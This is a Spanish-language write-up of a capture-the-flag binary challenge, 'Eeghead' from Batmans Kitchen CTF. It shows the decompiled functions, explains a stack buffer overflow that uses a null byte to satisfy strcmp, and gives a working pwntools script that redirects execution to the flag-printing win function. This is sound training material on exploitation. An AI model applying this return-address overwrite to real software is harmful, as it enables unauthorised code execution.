Ir al contenido

Eeghead - Batmans Kitchen CTF

Autor
Santiago Chavarro

Protecciones
#

Funciones
#

main
#

int main(void)

{
  setbuf(stdin,(char *)0x0);
  setbuf(stdout,(char *)0x0);
  name();
  return 0;
}

En esta función solo vemos que se llama a la función name y ahí continua toda la ejecución.

name
#

void name(void)

{
  int iVar1;
  size_t sVar2;
  char answer [32];
  
  while( true ) {
    puts("Name a movie.");
    printf("> ");
    fgets(answer,0x40,stdin);
    sVar2 = strcspn(answer,"\n");
    answer[sVar2] = '\0';
    iVar1 = strcmp(answer,"Happy Gilmore");
    if (iVar1 == 0) break;
    puts("Not cinema.");
  }
  puts("Now that\'s cinema.");
  return;
}

win
#

void win(void)
{
  int __c;
  FILE *__stream;
  int c;
  FILE *f;
  
  puts("getittwisted:");
  __stream = fopen("flag","r");
  while( true ) {
    __c = fgetc(__stream);
    if (__c == -1) break;
    putchar(__c);
  }
  putchar(10);
  return;
}

Análisis
#

Conociendo las funciones y las protecciones empezamos a analizar como romper el binario.

La vulnerabilidad la hayamos en la función name debido primero a que answer tiene un tamaño de buffer de 32 el cual es menor al buffer que posee el fgets el cual es de 64 lo que permite un stack buffer overflow.

strcmp
#

La otra parte de la vulnerabilidad es como funciona strcmp ya que este compara las dos cadenas hasta que encuentra un byte nulo lo que nos permite enviar explícitamente este byte y hacer que compare hasta ese punto haciendo que el resto del espacio del buffer nos permita decidir a que función saltar en este caso el win.

Exploit
#

Lo único que tenemos que hacer es enviar la cadena Happy Gilmore junto con un null byte esto ocupa 14 bytes normalmente tenemos que para sobreescribir el RIP que pasar por el RBP que son 8 bytes por lo que tenemos que saltar 32 bytes del buffer y 8 del registro lo que nos da 40 por lo que tenemos que hacer la resta 40-14 esto lo tenemos que llenar con cualquier cosa y justo después poner la dirección a la que queremos saltar en este caso el win.

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], ssl=True, *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

exe = './egghead'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'

p = start()
win = elf.symbols['win'] 
payload = b'Happy Gilmore' + b'\x00' + b'A' * 26 + p64(win)
p.sendlineafter(b">", payload)
p.interactive()